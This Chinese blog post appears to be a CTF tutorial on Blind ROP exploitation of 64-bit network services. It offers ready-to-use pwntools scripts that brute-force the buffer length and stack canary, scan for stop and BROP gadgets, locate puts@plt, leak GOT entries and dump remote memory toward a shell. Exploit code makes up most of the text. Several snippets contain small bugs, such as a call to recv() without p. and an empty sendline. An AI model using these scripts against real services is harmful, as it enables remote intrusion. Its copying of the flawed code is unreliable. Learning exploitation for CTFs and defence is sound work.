BROP_轮子

总体思想:爆破buf长度-----爆破canary-----find stop_gadgets-----find brop_gadget-----find puts()/write()-----泄露函数的got地址得到libc-----编写ROP

  • 将 socket 输出重定向到输入输出
  • 寻找 “/bin/sh” 的地址。一般来说,最好是找到一块可写的内存,利用 write 函数将这个字符串写到相应的地址。
  • 执行 execve 获取 shell,获取 execve 不一定在 plt 表中,此时攻击者就需要想办法执行系统调用了。

 

一般最终事执行Write()或者 puts()函数来Dump内存。

pop rdi; ret # socket    ##find from __libc_csu_init 
pop rsi; ret # buffer    ##find from __libc_csu_init
pop rdx; ret # length    ##find from strcmp() or __libc_csu_init !!!!
pop rax; ret # write syscall number
syscall
但通常来说,这样的方法都是比较困难的,因为想要找到一个 syscall 的地址基本不可能。。。我们可以通过转换为找 write 的方式来获取(在plt)。

判断栈溢出长度

def leakbuff_length():
    i=1
    while 1:
        try:
            p=remote('0.0.0.0',9999)
            p.recvuntil('password?\n')
            p.sendline('A'*i)
            msg=p.recv()
            p.close()
            if 'password' in msg:
                i = i+1
                continue
        except EOFError:
            p.close()
            print i-1
            break

单字节爆破Canary

def boomcanary():
    step=1
    buf='A'*72
    canary_sing=0x00
    while 1:
        try:
            p=remote('0.0.0.0',9999)
            p.recvuntil('password?\n')
            p.sendline(buf+chr(canary_sing))
            msg=recv()
            p.close()
            if step == 4:
                break
            else:
                buf=buf+str(canary_sing)
                canary_sing=0x00
                step=step+1
        except EOFError:
            p.close()
            canary_sing=canary_sing+1

Find Gadgets

前提,程序必须PIE关闭,所以我们从0X400000开始爆破Gadgets.

Find stop gadgets

所谓stop gadgets就是寻找一个不让程序奔溃的地址,这样我们我们就可以通过这个stop地址找到有用的其他gadgets

 

 

 

  stop gadget只是为了寻找其他有用的Gadgets,因为我们可以让寻找的gadget 的ret为我们的stop gadgets 那么程序就不会奔溃。!

注意:一般好寻找的是main() 和sleep()函数,因为前者可以打印信息,后者可以hook程序但是不中断

def Get_Stop_Gadgets(length):
    addr=0x4000000
    while 1:
        try:
            p=remote('0.0.0.0',9999)
            p.recvuntil("password?\n")
            p.sendline('A'*length+p64(addr))
            p.recv()
            p.close()
            print "The address is %x"%addr
            break
        except Exception:
            addr=addr+1
            p.close()

BROP gadgets

这里是寻找libc_csu_init的结尾一长串的 gadgets

但是也可以寻找其他的brop_gadgets:

_init 
_start 
call_gmon_start 
deregister_tm_clones 
register_tm_clones 
__do_global_dtors_aux 
frame_dummy 
__libc_csu_init
__libc_csu_fini 
_fini

 

def Get_Brop_Gadget(length,stop_gadgets):
    brop_addr=stop_gadgets-1    
    while 1:
        try:
            p=remote('0.0.0.0',9999)
            p.recvuntil("password?\n")
            payload='A'*length+p64(brop_addr)+p64(0)*6+p64(stop_gadgets)
            p.sendline(payload)
            p.recv()
            p.close()
            print "We find the csu_brop_addr%x"%brop_addr
            break
        except Exception:
            #p.close()
            brop_addr=brop_addr-1 

def Check_Brop_Gadgets(length,brop_addr):
    payload='A'*length+p64(brop_addr)+p64(1)*10
    p=remote('0.0.0.0',9999)
    p.recvuntil("password?\n")
    try:
        p.sendline()
        p.recv()
        p.close()
        print "This addr %x not brop"%brop_addr
    except Exception:
        print "This addr is Brop"
        p.close()

一般如果我们找到了BROP,我们会去验证一下,验证方法是将我们的stop_gadgets替换为一个非法地址,这样程序ret 到一个非法地址就会奔溃。

 

寻找输出函数:write/puts 

目的:寻找输出函数是为了泄露Libc地址

寻找puts@plt

  我们自然需要控制 rdi 参数,在上面,我们已经找到了 brop gadget。那么,我们根据 brop gadget 偏移 9 可以得到相应的 gadgets见博客。同时在程序还没有开启 PIE 保护的情况下,0x400000 处为 ELF 文件的头部,其内容为 \ x7fELF。所以我们可以根据这个来进行判断。一般来说,其 payload 如下:

payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
def Get_Put_addr(length,pop_rdi_ret,stop_gadget):
    put_addr=0x400000
    while 1:
        print hex(put_addr)
        p=remote('0.0.0.0',9999)
        p.recvuntil("password?\n")
        payload='A'*length+p64(pop_rdi_ret)+p64(0x400000)+p64(put_addr)+p64(stop_gadget)
        p.sendline(payload)
        try:
            if 'ELF' in p.recv():
                print "This addr is put"
                p.close()
                break
        except Exception:
            p.close()
            put_addr=put_addr+1
                

寻找 write@plt

当我们可以控制 write 函数的三个参数的时候,我们就可以再次遍历所有的 plt 表,根据 write 函数将会输出内容来找到对应的函数。需要注意的是,这里有个比较麻烦的地方在于我们需要找到文件描述符的值。一般情况下,我们有两种方法来找到这个值

  • 使用 rop chain,同时使得每个 rop 对应的文件描述符不一样
  • 同时打开多个连接,并且我们使用相对较高的数值来试一试。

需要注意的是

  • linux 默认情况下,一个进程最多只能打开 1024 个文件描述符。
  • posix 标准每次申请的文件描述符数值总是当前最小可用数值。

当然,我们也可以选择寻找 puts 函数。

泄露GOT地址

def leak_got(length,pop_rdi_ret,puts_plt,leak_addr,stop_gadget):
    p=remote('0.0.0.0',9999)
    p.recvuntil("password?\n")
    payload='A'*length+p64(pop_rdi_ret)+p64(leak_addr)+p64(puts_plt)+p64(stop_gadget)
    p.sendline(payload)
    try:
        msg=p.recv()
        if 'Welcome' in msg:
            print "The put_got addr is %x"%(u64(msg[0:8]))
            p.close()
    except Exception:
        p.close()
        print "something wrong?"

通过打印GOT表

Dump程序

利用put函数从头开始打印函数,当然也可以指Dump-main函数之前的信息,这就包括了所有的plt表格

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
    pop_rdi  = gadgets_addr + 9     # pop rdi; ret
    result = ""
    while start_addr < end_addr:
        sleep(0.1)
        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = remote('0.0.0.0', 9999)
            p.recvline()
            p.sendline(payload)
            data = p.recv(timeout=0.1)      # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            #log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
        except:
            log.info("Can't connect")
    return result

puts 函数通过 \x00 进行截断,并且会在每一次输出末尾加上换行符 \x0a,所以有一些特殊情况需要做一些处理,比如单独的 \x00\x0a 等,首先当然是先去掉末尾 puts 自动加上的 \n,然后如果 recv 到一个 \n,说明内存中是 \x00,如果 recv 到一个 \n\n,说明内存中是 \x0ap.recv(timeout=0.1) 是由于函数本身的设定,如果有 \n\n,它很可能在收到第一个 \n 时就返回了,加上参数可以让它全部接收完。

 

番外篇

寻找 PLT

每一个 plt 表项都是 16 字节,对于大多数 plt 调用来说,一般都不容易崩溃,即使是使用了比较奇怪的参数。

如果我们发现了一系列的长度为 16 的没有使得程序崩溃的代码段,那么我们有一定的理由相信我们遇到了 plt 表。除此之外,我们还可以通过前后偏移 6 字节,来判断我们是处于 plt 表项中间还是说处于开头。

注::::找CMP函数方法:

      1.plt遍历  

      2.利用 plt 表项的慢路径,并且利用下一个表项的慢路径的地址来覆盖返回地址

 

 

 

控制RDX

:在没有 PIE 保护的时候,64 位程序的 ELF 文件的 0x400000 处有 7 个非零字节。

  • readable,可读的地址。
  • bad, 非法地址,不可访问,比如说 0x0。

那么我们如果控制传递的参数为这两种地址的组合,会出现以下四种情况

  • strcmp(bad,bad)
  • strcmp(bad,readable)
  • strcmp(readable,bad)
  • strcmp(readable,readable)

只有最后一种格式,程序才会正常执行。

posted @ 2019-09-16 23:03  0xM2r00t  阅读(427)  评论(0编辑  收藏  举报